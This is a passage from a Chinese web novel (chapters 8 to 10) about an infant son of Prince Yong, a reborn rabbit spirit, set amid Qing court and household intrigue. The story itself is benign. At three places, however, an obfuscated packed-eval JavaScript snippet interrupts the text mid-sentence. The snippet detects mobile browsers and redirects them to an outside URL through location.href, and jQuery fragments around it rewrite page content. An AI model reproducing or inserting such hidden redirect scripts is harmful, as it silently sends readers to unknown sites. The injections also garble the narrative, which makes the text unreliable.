胤禛的一颗心倒向病歪歪的年侧福晋,偏偏弘时这孩子又不争气,关键时候露了怯,她不认错还能如何? 说来也怪那年侧福晋,身子真是孱弱的紧,多说了几句话病情就加重了,幸好没出什么大事,要不然岂不是赖上了她。 胤禛不知李侧福晋心中所想,见其认错态度诚恳,便对着弘时说道:“弘时,你额娘都有此决心背书,你正是读书的好时候,更该勤勉些,知道吗?” 弘时点了点小脑袋:“阿玛的教诲,儿子记住了,日后定当用功。” 胤禛欣慰的抬起手,拍了拍弘时的小脑袋瓜:“回前院睡觉去吧,别耽误了明日的早课。” 得知可以早些休息了,弘时的眼睛瞬间亮起来,应了一声是,便迈着轻快的小步子离开了碧波苑。 弘时刚走,李侧福晋想着胤禛面前的那盏茶定然凉透了,便吩咐身边的春风再端杯热的来。 胤禛说了这么会儿子话,确实有些口干舌燥,便没有再说些什么。 等热茶来了,胤禛掀开茶盖吹了吹,饮下两口茶汤后,嗓子确实舒服多了。 胤禛将茶盏放回原处,起身站起来便要朝外走。 李侧福晋瞧见了胤禛的动作,赶忙站起来挽留:“爷,这篇文章妾身还有不懂之处,爷不若留下来为妾身讲解讲解。” 李侧福晋满脸堆着殷勤的笑,是否真心求教,胤禛心里明镜一般,随即开口道:“你这般上进,爷自不好辜负你,前院里也只有弘时一人上课,难免孤单了些,从明日起,你不若就去前院与弘时一起上课。” 李侧福晋心中一惊,眼神变得慌乱,推辞道:“这就不必了吧,妾身若真的去了,怕是会打扰弘时专心读书。” 能日日见到弘时固然是好,可她要是真的去了,光是年侧福晋就能笑/死她了。 胤禛就知道这李氏只是嘴上说得好听,并不是真心想读书。 毕竟,李氏本就不是一个有才情的女子。 随即,胤禛绷直了脸,语气淡漠还带着几分嫌弃:“你脸上扑的粉本就厚实,晚上还涂这么艳的口脂,当心吓坏了弘时。” 话落,胤禛扬长而去。 他一早就瞧见了李氏脸上化着不和谐的浓妆,只是当时弘时还在,他便想着给李氏留些颜面。 如今,弘时回了前院,李氏却不知收敛,这面子自然也不必留了。 胤禛的话如一把刀,深深刺进了李侧福晋的心里,她眼尾泛红,咬着下唇,呆呆地愣在原地。 待胤禛走出了碧波苑,李侧福晋才气呼呼的走上去,将那矮桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143129|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的茶盏扫落在地。 茶盏里的茶汤飞溅,那茶盏落在地上,摔成七零八碎的碎瓷片,而李侧福晋整个人都在颤抖,那泛红的眼角更是滑落一滴泪来。 她这般年岁,眼角已然有了皱纹,不多涂些粉,怎么掩盖的住。 如今,她还未真正老去,爷已经开始嫌弃她了。 —— 夜深了,整个雍亲王府的烛火尽灭,静谧无声,完全融入进了墨色当中。 正院内。 因着乌拉那拉氏是亲自喂养弘晏,是以弘晏便被放在了拔步床的内侧,跟着乌拉那拉氏睡觉。 而王乳娘则睡在外间,以防弘晏有什么动静,可以随时起来照料。 对于弘晏昏睡不醒的事情,乌拉那拉氏心有余悸,不敢放松警惕。 是以,乌拉那拉氏睡得并不踏实,一个晚上醒来好几回查看弘晏的情况。 其中有一次乌拉那拉氏醒来,见弘晏也醒了,便将小人儿抱起来,喂了一回奶,随后又轻轻拍打着襁褓哄着弘晏入睡。 翌日晨光熹微,拔步床上的乌拉那拉氏睁开了睡眼,便瞧见弘晏也醒了,只是这孩子乖得很,不哭也不闹。 乌拉那拉氏俯身亲了亲弘晏的额头,随即将小人儿抱起来喂奶。 小玉兔昨晚偶然醒来,才发现他的额娘一直在注意着他的情况,并没有睡熟,生怕他再次昏睡不醒。 小玉兔感动之余,心里又生出几分愧疚来。 所以今天早上即使他比额娘先醒来,也安安静静的躺在床上,没有出声哼唧。 想来额娘一整晚并没有睡好,如今倒是睡得香甜,他怎么舍得发出动静把额娘吵醒呢。 —— 乾清宫内。 鎏金镂空兽形香炉里燃着龙涎香,那香丝丝缕缕的飘出来,味道弥漫了整个大殿。 康熙端坐在御案上,浑身散发着独属于帝王的威严,给人以压迫之感。 胤禛则恭恭敬敬的立在下首,向康熙禀报完正事以后,便将福晋亲自喂养弘晏的事情告知了康熙。 皇家的孩子不能由亲母喂养乃是祖制,亲母位分低微的甚至不能抚育自己的孩子,譬如他幼时便养在孝懿皇后膝下。 这等祖制,一来是为了不让皇子与生母过于亲近,避免外戚干政。 二来,便是为了锻炼皇子的独立性。 而福晋亲自喂养弘晏实属无奈之举。 况且,喂养孩子并非一朝一夕的事情,与其待旁人知晓后传扬出去,再在康熙面前参他一本,往他脑袋上扣一个不尊祖制的罪名,倒不如他大大方方的禀报汗阿玛,省得旁人费心劳神了。 康熙听着胤禛说起弘晏,那严肃的面容缓和了不少。 这孩子先是伴随甘霖而生,而后又只认亲母的奶水,与其说是挑剔难养,不如说是早慧。 下首的胤禛见康熙沉默不语,摸不清康熙是否因此生气,刚要再解释几句,便听上方传来了康熙温和的声音:“小儿难养,朕这里有上好的西洋参,你带回去给你福晋滋补身子吧。” 胤禛闻言,先是一愣,而后掀起衣袍跪安道:“谢汗阿玛赏赐。” 8. 第 8 章 康熙两废太子胤礽,如今储位空悬,文武百官皆不知康熙心意,都不敢再贸然上奏请求再立太子,以免引火烧身。 毕竟,朝臣与皇子结党营私,乃是康熙的大忌。 朝堂局势不明,表面上风平浪静,实际波涛汹涌,而胤禛自称天下第一闲人来韬光养晦,儿子弘晏的洗三礼自然不能广发请帖,遍邀王公大臣,是以,参加弘晏洗三礼的人,便是雍亲王府的所有人。 转眼间,便是五月初五,端午佳节。 康熙在乾清宫举办了端午家宴,按照规矩,胤禛是要带着福晋进宫赴宴的。 只是乌拉那拉氏尚在坐月子,不宜出门。 两位侧福晋中,胤禛虽然心中偏向年氏,但是年氏的身子骨才将将好了些,一旦随他进宫,少不了行跪拜之礼,再者还要打起精神来寒暄宴饮,于她身子无益,权衡之下,胤禛只得带李氏进宫赴宴。 自上次胤禛在碧波苑说了那一番话之后,李侧福晋便没了精气神儿,脾气也变得暴躁,下人们稍有不慎,便动辄打骂。 而今,碧波苑的正屋内,又跪了一地的奴才,李侧福晋站在中央,拿着鸡毛掸子挨个的打骂。 来传话的苏培盛,见碧波苑的院子里没有一个奴才,便直接迈上台阶走了进去,却不想刚好撞见了李侧福晋正如市井泼妇一般撒泼的场景。 苏培盛心里一惊,面上努力维持着平和。 李侧福晋余光瞧见了苏培盛,整个人都愣住了,手上一松,鸡毛掸子“啪嗒”一声落在了地上。 李侧福晋缓过神来,变脸比翻书还快,脸上立即扬起笑容:“吆,苏公公来了。” 而地上的奴才们,也极有眼色的从地上站起来,将鸡毛掸子藏起来,装作什么都没有发生的样子。 苏培盛自然也就全当没看见,只转达了胤禛的话便要离开。 李侧福晋得知胤禛要带她进宫赴宴,整个人高兴得都快要飘起来,嘴角的笑容根本压不下去,还故作矜持的甩着帕子扭捏道:“有劳苏公公跑一趟。” 李侧福晋说完,眼睛一瞥,给丫鬟春风使了个眼色。 春风立马小步子走上前去,递给苏培盛一个荷包。 苏培盛嘴上说着客气话,大手一伸便将荷包揣进了袖子里。 那荷包拿在手里沉甸甸的,可见里面的银子不少。 苏培盛心里明镜一般,只是打点他跑腿儿,哪里需要这么多,这李侧福晋给的还有封口费,怕他在胤禛面前说了不该说的话。 苏培盛敛下思绪,笑呵呵道:“侧福晋快些准备吧,别误了进宫的时辰。” 李侧福晋微微颔首,还命夏婵将苏培盛送出了碧波苑。 “还愣着作甚?还给本侧福晋梳妆打扮。”李侧福晋说完,扭着腰肢,甩着帕子进了内室。 丫鬟春风连忙跟了进去。 —— 正院内。 日子进了五月,温度逐渐上升,乌拉那拉氏怕小被子太厚实,将弘晏捂出痱子来,便给弘晏换上了自己亲手做好的薄衫和薄裤。 又因着今日是端午,乌拉那拉氏命府中的奴才们在府里的各处院子悬挂艾叶和菖蒲,又给奴才们发放了粽子和雄黄酒。 至于弘晏,乌拉那拉氏用五色丝线编织了手环,戴在弘晏的手上和脚下,又用朱砂、雄黄、香药等做成香囊放在弘晏的摇篮椅内,用来驱邪避瘟。 躺在摇篮椅内的弘晏,满是好奇的看着手上戴着的五色手环,心里感叹道:额娘的手真巧,这手环真好看! 因为弘晏看得太过入神,忽而感觉自己身下一热,一股暖流倾泻而出,他这才反应过来,自己尿裤子了。 不只是乌拉那拉氏刚给他换上的新裤子,那热乎乎的尿水,已经浸透了摇篮椅里铺着的小褥子。 他这是尿裤加尿床了! 随即,弘晏又自我安慰起来。 没事儿,他现在这般年纪,管不住大小便很正常,而且他现在的小屁屁湿漉漉的,确实很不舒服,便哼唧了出来,试图引起王乳娘和乌拉那拉氏的注意。 果不其然,王乳娘赶忙过来检查,床榻上的乌拉那拉氏也不看账本了,忙将视线投向了摇篮椅。 王乳娘的手刚伸进拔步床里,就摸到了湿漉漉还带着热气的小褥子,旋即笑道:“六阿哥这是尿床了,没事儿,乳娘给你换件干净的裤子。” 乌拉那拉氏听了这话,放下心来,继续看手中的账本。 而王乳娘说完,便将摇篮椅里的弘晏抱了起来,走去了净室。 王乳娘命人兑好了一盆温水,将弘晏的湿裤子脱下,转而拿帕子沾了温水,将弘晏的小屁股洗干净,又用长巾擦干了小屁股,方给弘晏穿上了新裤子。 而摇篮椅里的被褥也换了一套干净的,王乳娘又将弘晏重新放回了摇篮椅里。 弘晏的小嘴不自觉的上扬,现在舒服多了。 皇宫里的端午家宴结束,胤禛回到雍亲王府已经是黄昏时分了。 胤禛下了马车没等李侧福晋,便自顾自的进了王府,李侧福晋三步并作两步的撵上去,捏着帕子出声道:“爷,您饮了不少酒,去碧波苑歇一歇吧,妾身让春风熬些醒酒汤来。” 在家宴上,她谈吐得体,可没有给胤禛丢人,今日胤禛心情又不错,她总能将人留下了吧。 胤禛闻言,停了脚下的步子,看向李侧福晋的眼神也温和了许多:“不必了,爷去看看六阿哥,你今日也操劳了,早些回去休息吧。” 李侧福晋眸子里亮亮的,带着隐隐的期待,听了胤禛这话,眸子一暗,还想出声挽留,胤禛却已经迈大步走远了。 拎着食盒的苏培盛,见李侧福晋一脸失落,出声道:“侧福晋,今日端午,三阿哥得以休息一日,这功课上……” 苏培盛拿话点了点李侧福晋,并未将话说透,可李侧福晋却听明白了,朝着苏培盛道了一声谢,便改了步子往弘时的屋子去。 上次她被胤禛责备,有一半的原因都是因为弘时不争气,今日又玩了一天,脑子里的文章怕是忘干净了,她可得上些心才是。 而苏培盛则拎着食盒去撵上胤禛。 胤禛到了正院,抬了一下手,并未让奴才通禀,而是径直进了屋子,又迈步进了内室,拔步床上的乌拉那拉氏已然熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143130|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡,只一个王乳娘坐在摇篮椅旁边守着。 王乳娘见外面并未有人通传,便知晓了胤禛的意思,是以站起身只朝着胤禛福身,并未开口说话。 见胤禛走向摇篮椅,王乳娘识趣的走远了些,把位子让出来。 胤禛撩起衣袍一角,坐在了摇篮椅旁边的绣墩上,瞧见摇篮椅里的弘晏也睡得香甜。 小小的一只白白净净的,却比刚出生时大了许多了。 胤禛忍不住伸出手,捏了捏弘晏饱满又光滑细腻的小脸蛋儿。 而弘晏在睡梦中,迷迷糊糊的感觉自己被怪物咬了一口。 不对,不是一口,是好几口。 弘晏睁开了睡眼,看到自己以为的怪物原来是便宜阿玛,心中有些生气,他睡得好好的,干嘛捏他的脸,将他弄醒。 随即,弘晏哼唧了两声,来表示自己对便宜阿玛的控诉。 胤禛可瞧不出来弘晏表达的意思,只以为弘晏突然看到他回来很惊喜,是在对表达对他的思念,便笑着又捏了捏小玉兔的脸蛋儿。 这小家伙的皮肤真是娇嫩极了,捏着手感甚好! 胤禛心里这样思忖着。 忽而,胤禛又想到了什么,俯下身亲了亲弘晏的额头。 只这一下,弘晏要怀疑兔生了。 他的便宜阿玛竟然亲他!!! 而且,他阿玛身上还臭臭的! 怎么办,他不干净了! 胤禛只感觉弘晏皮肤娇嫩,亲起来的触感也很特别,随即又俯下身去。 弘晏这下子真的要怀疑兔生了,却只能大声哼唧,来试图唤醒额娘,现在只有额娘能救他了。 而弘晏见胤禛一点儿都不受干扰,马上就要亲上他的脸颊,在心中疯狂咆哮:你不要过来啊!!! 然而,在悬殊的力量面前,最终还是胤禛胜利了。 弘晏的心情只能用六个黑点来表现,他现在好想呕,怎么办? 好在乌拉那拉氏确实醒了,看见胤禛坐在摇篮椅旁边,遂坐起来说道:“爷回来了。” 弘晏听到这熟悉的不能再熟悉的声音传来,用尽最大的力气来发出哼唧的声音。 乌拉那拉氏以为弘晏饿了,便唤王乳娘将弘晏抱过来。 待弘晏来到他怀里时,瘪着小嘴一副委屈巴巴快要哭的模样。 弘晏很乖巧,饥饿时只会“哼哼”两声来表达自己的饿了,却从来没有露出过这般模样来,乌拉那拉氏便知弘晏不是饿了,而且在她睡熟时,一定发生了什么事情。 乌拉那拉氏便抬眸望向了王乳娘。 目睹了“父子情深”全过程的王乳娘,在心中斟酌了一番说辞,看了胤禛一眼,方对着乌拉那拉氏说道:“主子爷赴宴回来,身上沾了酒气。” 王乳娘的话言简意赅,乌拉那拉氏便明白弘晏是受了什么委屈了。 随即,乌拉那拉氏将弘晏抱在臂弯里,通过轻轻摇晃的方式来哄着小人儿。 同时,乌拉那拉氏抬眸嗔了胤禛一眼,责怪道:“爷也真是的,饮了酒也不等酒气散了再来,弘晏还这么小,怎么能受得住酒臭味儿。” 9. 第 9 章 弘晏默默在心里疯狂点头,就是!就是! 他现在都成了一个臭宝宝了! 听着乌拉那拉氏的数落,胤禛意识到自己的行为欠妥,心虚的摸了摸鼻子,随即又清咳了一声,开始转移话题:“今个儿端午家宴,御膳房琢磨了新鲜花样的粽子,蛋黄肉粽和玫瑰豆沙水晶粽爷吃着不错,给你带了些回来。” 胤禛说完,冲着外间的方向喊了一声苏培盛。 在外间等候已久的苏培盛立马走了进来。 屋子里两位主子的谈话,他隐隐约约都听到些,于是便开始了为胤禛美言:“福晋,爷在家宴上想着福晋,特意让奴才用保温食盒装着,如今这粽子还热乎着呢。” 苏培盛一边说,一边将保温食盒放在了小榻上的矮桌,还将食盒盖子打开,将里面的一盘子粽子端了出来。 而后,粽子的清香味便渐渐散发了出来。 乌拉那拉氏闻言,面色缓和了不少。 胤禛适时出声道:“这粽子凉了味道便打了折扣,我为福晋剥一个。” 不待胤禛起身,乌拉那拉氏便解释道:“妾身刚醒,还未漱口呢。” “这有何妨,爷来服侍你。”胤禛说完,便从桌子上拿了漱口水与漱口杯。 而王乳娘有眼色的上前,将弘晏抱了出去,苏培盛也跟着退了出去。 弘晏:他就这么水灵灵的被抱出去了??? 胤禛拿来漱口水与漱口杯后,先将漱口水递给乌拉那拉氏。 乌拉那拉氏捧起杯子含了一口,胤禛转而又递上了漱口杯。 乌拉那拉氏接过漱口杯,转而将身子扭了过去,背对着胤禛将漱口水吐了进去,却不想自己刚扭过来,胤禛便从她手里抽走漱口杯,递上一块帕子,而后起身将那漱口杯放回到了桌子上。 而后,胤禛从那满满当当的粽子里,随机拿了一个,坐在乌拉那拉氏面前,仔细剥起来。 看着露出来的白胖粽子,胤禛方道:“这个是玫瑰豆沙水晶粽,福晋尝尝。” 乌拉那拉氏从胤禛手里接过了粽子,咬下一口细细品尝,瞧面前的胤禛直愣愣的望着自己,便知胤禛在等着自己的评价,随即肯定的点了点头。 一个粽子吃完,胤禛贴心的递上了一杯茶水:“福晋可还要再用一个?” 乌拉那拉氏摇了摇头:“粽子不宜消化,一个便够了,吃多了积食。” 胤禛闻言,便打消了为乌拉那拉氏再剥一个粽子的打算,而是将乌拉那拉氏手中的茶盏接过来,转而放在了床头的矮脚小几上。 这一会儿的功夫,胤禛又是伺候她吃粽子又是倒茶水的,乌拉那拉氏想了片刻,还是开口道:“多谢爷。” 胤禛知晓乌拉那拉氏是为什么而开口谢他,抬起一双因饮了酒有些迷离的眸子,笑了一声,似是自嘲:“福晋十岁便嫁于我,如今却愈发生分了。” 乌拉那拉氏闻言,眸子扑闪了一下,只道:“爷醉了,都说起糊涂话了。” 胤禛叹了口气,眼底暗了下来,声音变得低沉:“锦安,我知你心中有芥蒂,当年之事,责任在我。” 乌拉那拉氏闻言,神情有些松动,却又极力克制着自己的情绪,但说话的声音带着颤栗:“当年之事,妾身亦有错。” 胤禛闻言什么也没说,大手一伸,将乌拉那拉氏抱在怀里,贴在她耳边说:“锦安,都过去了。” 往昔之事,再度追忆,只会沉溺苦海,无法自拔。 乌拉那拉氏的脑袋靠在胤禛肩膀上,闻此言,阖上了眼眸,而一滴滚烫圆润的泪,却顺着乌拉那拉氏的眼角流下来,落在胤禛的肩膀上。 落日余晖消散,夜幕降临,胤禛披着月色离开了正院。 王乳娘得知胤禛离开的消息,便将弘晏又抱回了内室,放到乌拉那拉氏的怀中。 乌拉那拉氏已然平复了心情,抬眼望向小榻,开口道:“那盘子粽子,拿下去分了吧。” 她吃一个便足矣,其余的放着便是白白浪费了。 “谢福晋。”王乳娘说完,便拎着食盒喜滋滋的出去了。 这可是御膳房的手艺! 而拔步床上的乌拉那拉氏将视线收回,随即解开盘扣,给怀中的弘晏喂奶。 —— 端午节过后,便是弘晏满月的日子了,同时乌拉那拉氏也出月子了。 弘晏的满月宴胤禛依旧秉承着关起门来过的原则,并未对外发帖子,可十三阿哥胤祥却是数着日子,如期带着福晋兆佳氏上了门。 弘晏的洗三礼他便想来,碍于四哥不愿声张,便被福晋劝下了,但满月宴他是绝对要来的,要看看他白白胖胖的大侄子。 也就是在这一天,弘晏终于搞清楚了,他的阿玛是四爷雍亲王,也就是未来的雍正皇帝。 但同时,弘晏也糊涂了。 他的额娘乌拉那拉氏在历史上明明只生了一个孩子,叫作弘晖。 而且这个孩子在康熙四十三年就已经夭折了。 此后,乌拉那拉氏再没有亲生孩子了。 他所穿成的弘晏,在历史上根本就是查无此人。 也就是不存在!!! 这到底是怎么回事? 想的他脑壳疼啊! 乌拉那拉氏见怀里的弘晏状态有些不太对,以为他是一下子见了这么多人吓到了,随即,站起身抱着弘晏回了屋子,将弘晏放在摇篮椅里,嘴里哼着歌谣将人哄睡。 在乌拉那拉氏的轻声哼唱中,弘晏的心情渐渐平复下来。 他知道这里所有人的命运,唯独他自己的未来是一片空白,可那又怎么样? 他有了一个温柔贤惠把他当心肝子一样疼的额娘,还有一个表面高冷实际上会偷偷给他掖被子的阿玛。 既然穿过来了,踏踏实实的做一个人类幼崽不香吗? 香!!! 弘晏在心中自问自答,且十分肯定。 随后,弘晏在乌拉那拉氏的哼唱中闭上了眼睛,进入了甜美的梦乡。 —— 夏季炎热漫长,七月初的骄阳丝毫不减,依旧似烈火一般炙烤着大地。 正院里的小榻两侧放了冰鉴,屋子里凉快得多,乌拉那拉氏给弘晏穿上了红色的肚兜和一条料子轻薄的亵裤。 三个月的弘晏已经会翻身了。 乌拉那拉氏已经命银烛和流萤,将屋子里所以有棱角的东西包上一层棉布,生怕弘晏再大些,会不小心磕到碰到。 坐在小榻上的乌拉那拉氏正喝着一碗冰镇酸梅汤,见躺在摇篮椅里的弘晏哼哼起来,便先将碗放在炕桌上,转而走到摇篮椅前抱起了弘晏,又抱着弘晏坐回到小榻上。 这小家伙自从会翻身之后,总不乐意在摇篮椅里待着。 乌拉那拉氏刚把小家伙抱出了摇篮椅,便乖乖的一声不吭了。 忽而,乌拉那拉氏发现怀里的弘晏不哼唧,是因为那双眼睛正直溜溜的盯着她没喝碗的冰镇酸梅汤。 乌拉那拉氏忍俊不禁:“福宝乖,你现在喝不了,等你长大了,额娘再喂给你。” 弘晏的内心已经在流泪了。 这么热的天,他香香软软的额娘却说出这么冰凉的话。 乌拉那拉氏笑盈盈的拿起帕子,擦去弘晏那从嘴角处缓缓流出的涎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143131|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水:“小馋猫,都流口水了。” 弘晏后知后觉,觉得有些丢人。 他堂堂活了几百年的玉兔精,竟然被一碗冰镇酸梅汤馋的流口水,真是太丢人了! 不,真是太丢玉兔精的脸面了! 弘晏将小脸蛋儿窝在乌拉那拉氏怀里,不肯出来。 一旁的银烛见状,笑得发抖:“六阿哥这么小,就知道要面子了。” 小? 他都活了几百年了,好不好。 真算起来,他比银烛的太太太太太太奶都大!(小玉兔版傲娇叉腰.gif) 乌拉那拉氏被可爱的弘晏萌化了,看向银烛说道:“好了,不许笑了。” 银烛也配合着抿了唇。 得给好面子的小主子留面子呀! 此时,胤禟迈进了门槛,朗声道:“笑什么呢?说给爷听听。” 话音落下,胤禛便掀起衣袍一角坐在了小榻上,对着乌拉那拉氏问道:“福晋,弘晏今日可练习翻身了?” 会和熟练掌握完全是两个概念! 乌拉那拉氏闻言,便将怀里的弘晏平放在小榻上,出声道:“福宝,咱们翻个身,给你阿玛瞧瞧。” 没有冰镇酸梅汤喝,流口水被笑话,现在因为他便宜阿玛的一句话,竟然还要表演翻身,这是什么悲惨的人生啊!(土拨鼠.jpg) 胤禛见弘晏安安静静的躺着,疑惑的看向了乌拉那拉氏。 前两日这小家伙可是沉迷翻身无法自拔呢,今日怎么就转性了。 有道是:知子莫若母。 乌拉那拉氏笑着解释了原因。 胤禛听罢,看向摆烂的弘晏,只道:“福宝,你能成功的翻身,阿玛就奖励你喝一口酸梅汤。” 乌拉那拉氏刚说了一个字:“爷……” 余下的话,就被胤禛的眼神给挡回去了。 也不知胤禛葫芦里卖的什么药。 弘晏听罢胤禛的话,在心中缓缓叹了口气,谁让他这么好哄又孝顺呢。 一口酸梅汤的价钱,就答应便宜阿玛卖艺了。 随后,一号种子选手·身穿红肚兜战袍·弘晏,一个华丽丽的一百八十度的旋转完美落地,惊艳的完成了从平躺变成卧躺的难度系数高达五颗星的艰难动作。 一旁的观众·乌拉那拉氏,由内心驱使对弘晏发出了赞叹之情,表示对选手的肯定和支持。 观众二号银烛随之附和。 而三号观众胤禛却眉头微颦,发出了疑问:“福晋,这是怎么回事?” 弘晏这一翻,刚好让胤禛看到了胳膊背面有两个小红点。 乌拉那拉氏顺着胤禛的视线看过去,遂出声解释道:“门窗关的严实,可不知昨夜什么时候飞进来了蚊子,咬了福宝,福宝这孩子睡得熟,到了早上给他喂奶时才发现,已经让柳从南给福宝涂过药了。” 她与弘晏同在一室,却只有弘晏一个人被蚊子叮了。 柳从南只说应该是婴儿皮肤娇嫩,血是甜的,所以吸引了蚊子。 弘晏听自家额娘说完,便露出一个可怜兮兮的表情,望向了身旁的胤禛。 便宜阿玛,我都这么惨了,你真的不打算多喂我一口酸梅汤吗?(星星眼.jpg) 弘晏的小心思,胤禛自然不懂。 不过,瞧着幼子委屈巴巴的模样,倒是勾起了胤禛的慈父心肠。 胤禛遂抬起眼,对外喊道:“苏培盛,去库房将避尘珠拿来。” 在门外侯着的苏培盛应了一声,便快步而去。 避尘珠? 弘晏的小脑袋上方浮现出问号来。 10. 第 10 章 乌拉那拉氏听了胤禛的话,开口问道:“这避尘珠是前些日子汗阿玛赏给爷的吧?” 前些日子许是天气炎热的缘故,康熙脾胃不适,用膳甚少,宫里的太医开了不少方子给康熙调理,但见效甚微。 胤禛得知了这消息之后,便将康熙的症状告诉了柳从南。 柳从南之前云游四海,见过不少疑难杂症,一听便知晓了康熙的病因在哪里,大笔一挥写了一张食补的方子。 胤禛吩咐府里的膳房,按照柳从南的食补方子做好以后,用保温食盒装着,随即乘着马车进宫呈给康熙。 一向吃不下东西的康熙胃口大开,直接将那一碗羹汤喝了个干净。 近身伺候的梁九功,一日日眼瞧着康熙脾胃不适,眉宇间积了厚厚的愁云,是干着急帮不上忙,此时见康熙胃口大开,那愁云便立刻一扫而空了。 胤禛见康熙对这碗羹汤颇为受用,方才将袖子里的食补方子拿了出来,献给康熙。 而康熙因此事心中对胤禛的好感,又多了几分。 紫禁城没有不透风的墙,他这些日子吃不好的事情已经传扬了出去,他的儿子们一个个的来他眼前晃,说一些安慰之言,送一碗碗参汤,瞧着是一个赛一个的孝顺,可谁知心里是不是真的盼着他快些好起来。 这么多的儿子里,唯有胤禛不来他面前费心思献殷勤,而是从根源处解决了他的病,这才是真的为他的身子着想。 往往小小的细节,越能体现一个人的品德。 康熙面上不显,但心里大为感动,又想着胤禛一直办事得力、安分守己,便将两江总督进献的避尘珠赏赐给了胤禛。 胤禛知晓这避尘珠乃是世间罕见之物,好奇之余,将避尘珠拿在手上把玩了片刻后,便郑重其事的交给苏培盛放进他的私库里面存着。 胤禛闻言,抬眼看向乌拉那拉氏,言道:“不错,这避尘珠原是两江总督花了大力气才寻得的宝物,进献给汗阿玛的。这避尘珠如其名,只是除了避尘和净化的作用之外,还能驱赶蚊虫,如今给弘晏用正好。” 芜湖! 弘晏知晓了避尘珠的来历和作用之后,在心里大喊了一声。 看来他这个便宜阿玛对他还是挺大方的嘛! 高兴之余,弘晏更多的是好奇。 这苏公公去拿个珠子而已,怎么跟蜗牛一样慢,等得他花都谢了。 弘晏哼唧了两声,来发泄自己内心的牢骚。 乌拉那拉氏与胤禛两个人,刚才只顾着说话了,现在听见动静才发现弘晏还保持着卧躺的姿势,想来是卧躺的时间太久,弘晏应当是不舒服了。 乌拉那拉氏与胤禛都这么想着,也很同频的伸出手要把弘晏抱起来,可胤禛离弘晏的距离近些,不待乌拉那拉氏的手挨到弘晏,胤禛一把就将弘晏抱了起来。 乌拉那拉氏心里一惊,眸子里更是充满了不可置信。 满人虽然有抱孙不抱子的传统,但是当今的皇上上了年纪后又得了几个小阿哥,宝贝的跟什么似的,抱着搂着已然不稀奇了。 可自家爷寡言少语,面无表情时便像那万年不化的雪山,数九寒天的冰湖,浑身散发着生人勿近的气息。 王府里的几个孩子,自家爷也就是在其出生的时候抱过一回,鲜少对孩子有过亲密的动作。 要不然那弘时也不会见了自己阿玛,就跟老鼠见了猫一般瑟瑟发抖,只恨不能在身上插对翅膀,以最快的速度逃离有胤禛的地方。 话说回来,今日的太阳是从西边升起来了,竟然叫胤禛转了性儿。 而正卧躺在小榻上十分无聊的弘晏,忽而感觉到有一股强大的力量从后面袭来,那是一双宽大有力的手,就那么轻轻一搂,他的双手双腿便瞬间腾空,转而又落进了一个硬邦邦的怀抱里。 不太舒服呢。 弘晏眼睛一转,正好与胤禛对视了。 原来是他的便宜阿玛啊! 算起来,这是便宜阿玛第二次抱他。 而第一次,却是他刚出生的时候,接生姥姥直接把他递到了便宜阿玛怀里。 时隔三个月,便宜阿玛怎么忽然想起抱他了? 想来应该是额娘现在把他养的白白胖胖太招人稀罕了吧! 没办法,太可爱也是一种烦恼! 随后,沉浸在自己世界里的弘晏,被胤禛僵硬的抱娃动作拉回了现实。 便宜阿玛抱他抱的太紧了,而且还硌得慌,一点儿都不舒服。 乌拉那拉氏看不过眼,口头指导的时候又上手去教。 在乌拉那拉氏的指导之下,胤禛抱娃的动作柔和多了。 弘晏在心中长叹一声:高冷阿玛笨拙爱,小小弘晏受伤害。 而这时,苏培盛也带着避尘珠回了正院。 胤禛怀里的弘晏听到急促的脚步声便扭脸去看,只见苏培盛手里捧着一个四四方方的檀木盒子,走到胤禛面前。 弘晏的眼神直勾勾的盯着苏培盛手里的盒子。 想必这里面装着的应该就是避尘珠了。 好奇心的驱使下,弘晏张着小嘴“啊啊”叫着,小肉手向前扑腾着要够苏培盛手里的檀木盒子。 胤禛见状,忍不住笑道:“小馋猫,这里面装的可不是能吃的东西。” 也不怪胤禛误会,弘晏张着小嘴喊着,那涎水便顺着他的嘴角往下流。 弘晏在心里反驳胤禛的话:他当然知道避尘珠不能吃。只是他现在处于无能为力的年纪,能管住自己不流口水吗? 乌拉那拉氏则拿起帕子,为弘晏拭去了嘴角的口水。 这厢,苏培盛在胤禛的示意之下,将檀木盒子打开了,而后往前一递,胤禛便伸手将珠子拿在了手里。 而窝在胤禛怀里的弘晏也瞧清楚了避尘珠的样子,是一颗比他手掌还大的白花花的珠子。 随即,胤禛便将避尘珠又放回了檀木盒子里,交代苏培盛放到弘晏的摇篮椅里,这样一来,蚊虫便不敢再靠近了。 少顷,弘晏又张着小嘴“啊啊”叫起来,胤禛不明其意。 